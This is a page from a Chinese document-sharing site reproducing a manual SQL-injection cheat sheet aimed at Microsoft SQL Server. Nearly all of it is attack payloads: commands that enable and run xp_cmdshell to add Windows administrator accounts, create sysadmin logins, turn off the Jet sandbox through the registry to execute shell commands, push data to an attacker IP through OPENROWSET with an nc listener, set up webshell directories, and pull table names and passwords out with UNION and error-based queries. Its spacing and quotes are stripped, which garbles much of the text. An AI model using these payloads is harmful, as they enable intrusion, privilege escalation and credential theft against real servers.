手工注入SQL.docx
- 文档编号:23864023
- 上传时间:2023-05-21
- 格式:DOCX
- 页数:32
- 大小:38.36KB
手工注入SQL.docx
《手工注入SQL.docx》由会员分享,可在线阅读,更多相关《手工注入SQL.docx(32页珍藏版)》请在冰豆网上搜索。
手工注入手工注入SQL-是否存在xp_cmdshelland1=(selectcount(*)frommaster.dbo.sysobjectswherextype=xandname=xp_cmdshell)-用xp_cmdshell执行命令;execmaster.xp_cmdshellnetusernamepassword/add-;execmaster.xp_cmdshellnetlocalgroupnameadministrators/add-查看权限and(selectIS_SRVROLEMEMBER(sysadmin)=1-/saand(selectIS_MEMBER(db_owner)=1-/dboand(selectIS_MEMBER(public)=1-/public-创建个登陆mssql的帐号;execmaster.dbo.sp_addloginname,pass;-把创建的mssql登陆帐号提升到sysadmin;execmaster.dbo.sp_addsrvrolemembername,sysadmin;-有用的扩展-获得MSSQL的版本号/mssql版本executemaster.sp_msgetversion/dbopublic-得到硬盘文件信息/dbopublic-参数说明:
目录名,目录深度,是否显示文件/读取磁盘目录和文件executemaster.xp_dirtreec:
/列出所有c:
文件和目录,子目录executemaster.xp_dirtreec:
1/只列c:
文件夹executemaster.xp_dirtreec:
1,1/列c:
文件夹加文件-列出服务器上所有windows本地组executemaster.xp_enumgroups/dbo-得到当前sqlserver服务器的计算机名称/获得计算机名executemaster.xp_getnetname/dbopublic-列出指定目录的所有下一级子目录EXECmaster.dbo.xp_subdirsc:
WINNT/可以列目录-列出服务器上固定驱动器,以及每个驱动器的可用空间executemaster.xp_fixeddrives/dbopublic-显示系统上可用的盘符executemaster.xp_availablemedia/dbo-获取某文件的相关属性executemaster.xp_getfiledetailsC:
1.txt/dbopublic-统计数据库里每个表的详细情况execsp_MSforeachtablesp_spaceused?
/查询表/dbopublic-获得每个表的记录数和容量execsp_MSforeachtableselect?
?
sp_spaceused?
SELECTcount(*)FROM?
/dbopubilc-更新Table1/Table2中note列为NULL的值sp_MSforeachtableUpdate?
Setnote=Wherenoteisnull,null,null,null,ANDo.namein(Table1,Table2)-列出服务器域名xp_ntsec_enumdomains/机器名/dbopublic-停止或者启动某个服务xp_servicecontrolstop,schedule/schedule是服务得名称/dbo-用pid来停止某个执行中的程序xp_terminate_process123/123是pid/dbo-只列某个目录下的子目录dbo.xp_subdirsC:
/dbo-服务器安全模式信息xp_loginconfig/dboxp_regaddmultistringxp_regdeletekeyxp_regdeletevaluexp_regenumkeysxp_regenumvaluesxp_regreadxp_regremovemultistringxp_regwrite-将新扩展存储过程的名称注册到Microsoft?
SQLServer?
上。
sp_addextendedprocxp_cmdshell,dllname=xplog70.dll/恢复xp_cmdshell恢复过程sp_addextendedproc如下:
createproceduresp_addextendedproc-1996/08/3020:
13functnamenvarchar(517),/*(owner.)nameoffunctiontocall*/dllnamevarchar(255)/*nameofDLLcontainingfunction*/assetimplicit_transactionsoffiftrancount0beginraiserror(15002,-1,-1,sp_addextendedproc)return
(1)enddbccaddextendedproc(functname,dllname)return(0)-sp_addextendedproc创建新的Microsoft?
SQLServer?
登录/只有sysadmin和securityadmin固定服务器角色的成员才可以执行sp_addlogin。
补丁版本其中的8.00.760就是SQLServer的版本和补丁号。
对应关系如下:
8.00.194SQLServer2000RTM8.00.384(SP1)8.00.534(SP2)8.00.760(SP3)在db权限并且分离获取mssql数据库服务器ip的方法1.本地nc监听nc-vvlp802.;insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;,select*fromdest_table)select*fromsrc_table;-其他的都不用管xp_cmdshell的删除及恢复恢复xp_cmdshell的方法删除扩展存储过过程xp_cmdshell的语句execsp_dropextendedprocxp_cmdshell恢复cmdshell的sql语句execsp_addextendedprocxp_cmdshell,dllname=xplog70.dllexecmaster.dbo.addextendedprocxp_cmdshell,xplog70.dll;selectcount(*)frommaster.dbo.sysobjectswherextype=xand返回结果为1就ok否则需上传c:
inetputwebxplog70.dll后execmaster.dbo.sp_addextendedprocxp_cmdshell,c:
inetputwebxplog70.dll;-如果是用以下方法删除dropproceduresp_addextendedprocdropproceduresp_oacreateexecsp_dropextendedprocxp_cmdshell则可以用以下语句恢复dbccaddextendedproc(sp_oacreate,odsole70.dll)dbccaddextendedproc(xp_cmdshell,xplog70.dll)这样可以直接恢复,不用去管sp_addextendedproc是不是存在去掉tenlnet的ntlm认证;execmaster.dbo.xp_cmdshelltlntadmnconfigsec=-ntlmpublic权限列目录提起public权限的用户估计很多人也觉得郁闷了吧N久以前看了一篇论在mssql中public和db_owner权限下拿到webshell或是系统权限的文章(名字真长-_-!
),里面说到没办法利用xp_regread,xp_dirtree这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的呵呵,使这些存储过程能利用上,看下面的代码吧-建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表createtable#nonamed(dirntext,numint)-调用存储过程把执行回来的数据存到临时表里面insert#nonamedexecutemaster.xp_dirtreec:
1-然后采用openrowset函数把临时表的数据导到本地MSSQL的dirtree表里面了insertintoopenrowset(sqloledb,192.0.0.1;user;pass,select*fromNorthwind.dbo.dirtree)select*from#nonamed以上方法,也就是说public可以遍历用户服务器的目录MSSQL自身存储过程的一个注入master.sp_resolve_logins存储过程中,对dest_path参数过滤不严,导致xp_cmdshell注入。
分析:
SELECTdest_path=RTRIM(LTRIM(dest_path)-Ifthelastcharis,removeit.IFsubstring(dest_path,len(dest_path),1)=SELECTdest_path=substring(dest_path,1,len(dest_path)-1)-DontdovalidationifitisaUNCpathduetosecurityproblem.-Iftheserverisstartedasaserviceusinglocalsystemaccount,we-donthaveaccesstotheUNCpath.IFsubstring(dest_path,1,2)BEGINSELECTcommand=dir+dest_path+execretcode=master.xp_cmdshellcommand,no_outputIFerror0RETURN
(1)IFretcode0BEGINraiserror(14430,16,-1,dest_path)RETURN
(1)ENDENDmaster.sp_resolve_logins存储过程在这一段,经过一定的判断,对dest_path进行了一定的过滤。
但是没有过滤(双引号)导致了xp_cmdshell执行任意SQL语句测试代码:
EXECsp_resolve_loginstext,e:
asp&netuseradminaadmin/add&netlocalgroupadministratorsadmina/add&dire:
asp,1.asp执行上述MSSQL语句,成功添加了一个名为admina的系统帐号但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号Re:
沙盒通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接(至少对master库具有db_owner权限,默认情况下是没有的),就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下execmaseter.dbo.xp_regwriteRoot_Key,SubKey,Value_Type,Value如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句InjectionURL;EXECmaster.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SoftWareMicrosoftJet4.0Engine,SandBoxMode,REG_DWORD,0-那我们将SandBoxMode开关的注册表值修改为0就成功了.接着连接到一个Access数据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用ASP文件Select调用这个VBA的shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我们有一个SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两个Access数据库,位置在%windir%system32iasias.mdb或者%windir%system32iasdnary.mdb,这样一来我们又可以利用OpenRowSet函数构造出如下注入语句:
InjectionURL;Select*FromOpenRowSet(Microsoft.Jet.OLEDB.4.0,;Database=c:
winntsystem32iasias.mdb,selectshell(netuserray123/ad);-如果你觉得不大好懂的话,我可以给你做一个简化的理解:
1,Access可以调用VBS的函数,以System权限执行任意命令2,Access执行这个命令是有条件的,需要一个开关被打开3,这个开关在注册表里4,SA是有权限写注册表的5,用SA写注册表的权限打开那个开关6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令:
EXECmaster.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SoftWareMicrosoftJet4.0Engine,SandBoxMode,REG_DWORD,0Select*FromOpenRowSet(Microsoft.Jet.OLEDB.4.0,;Database=c:
windowssystem32iasias.mdb,selectshell(netuserzyqq123/add);Select*FromOpenRowSet(Microsoft.Jet.OLEDB.4.0,;Database=c:
windowssystem32iasias.mdb,selectshell(netlocalgroupadministratorsgroupbyusers.idhaving1=1-groupbyusers.id,users.username,users.password,users.privshaving1=1-;insertintousersvalues(666,attacker,foobar,0xffff)-UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintable-UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id)-UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id,login_name)-UNIONSELECTTOP1login_nameFROMlogintable-UNIONSELECTTOP1passwordFROMlogintablewherelogin_name=Rahul-看服务器打的补丁=出错了打了SP4补丁and1=(selectVERSION)-看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and1=(SELECTIS_SRVROLEMEMBER(sysadmin)-判断连接数据库帐号。
(采用SA账号连接返回正常=证明了连接账号是SA)andsa=(SELECTSystem_user)-anduser_name()=dbo-and0(selectuser_name()-看xp_cmdshell是否删除and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)-xp_cmdshell被删除,恢复,支持绝对路径的恢复;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll-;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,c:
inetpubwwwrootxplog70.dll-反向PING自己实验;usemaster;declaresint;execsp_oacreatewscript.shell,sout;execsp_oamethods,run,NULL,cmd.exe/cping192.168.0.1;-加帐号;DECLAREshellINTEXECSP_OACREATEwscript.shell,shellOUTPUTEXECSP_OAMETHODshell,run,null,C:
WINNTsystem32cmd.exe/cnetuserjiaoniang$1866574/add-创建一个虚拟目录E盘:
;declareointexecsp_oacreatewscript.shell,ooutexecsp_oamethodo,run,NULL,cscript.exec:
inetpubwwwrootmkwebdir.vbs-w默认Web站点-ve,e:
-访问属性:
(配合写入一个webshell)declareointexecsp_oacreatewscript.shell,ooutexecsp_oamethodo,run,NULL,cscript.exec:
inetpubwwwrootchaccess.vbs-aw3svc/1/ROOT/e+browse爆库特殊技巧:
:
%5c=或者把/和修改%5提交and0(selecttop1pathsfromnewtable)-得到库名(从1到5都是系统的id,6以上才可以判断)and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)-and0(selectcount(*)frommaster.dbo.sysdatabaseswherename1anddbid=6)依次提交dbid=7,8,9.得到更多的数据库名and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为adminand0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin)来得到其他的表。
and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid(str(id)暴到UID的数值假设为18779569uid=idand0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_idand0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin(id,.)来暴出其他的字段and01)可以得到用户名依次可以得到密码。
假设存在user_idusername,password等字段and0(selectcount(*)frommaster.dbo.sysdatabaseswherename1anddbid=6)and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address)and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid(str(id)判断id值and0(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段?
id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin?
id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)得到WEB路径;createtabledbo.swap(swappasschar(255);-and(selecttop1swappassfromswap)=1-;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500)Declaretestvarchar(20)execmaster.xp_regreadrootkey=HKEY_LOCAL_MACHINE,key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtualRoots,value_name=/,values=testOUTPUTinsertintopaths(path)values(test)-;useku1;-;createtablecmd(strimage);-建立image类型的表cmd存在xp_cmdshell的测试过程:
;execmaster.xp_cmdshelldir;execmaster.dbo.sp_addloginjiaoniang$;-加SQL帐号;execmaster.dbo.sp_passwordnull,jiaoniang$,1866574;-;execmaster.dbo.sp_addsrvrolememberjiaoniang$sysadmin;-;execmaster.dbo.xp_cmdshell
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 手工 注入 SQL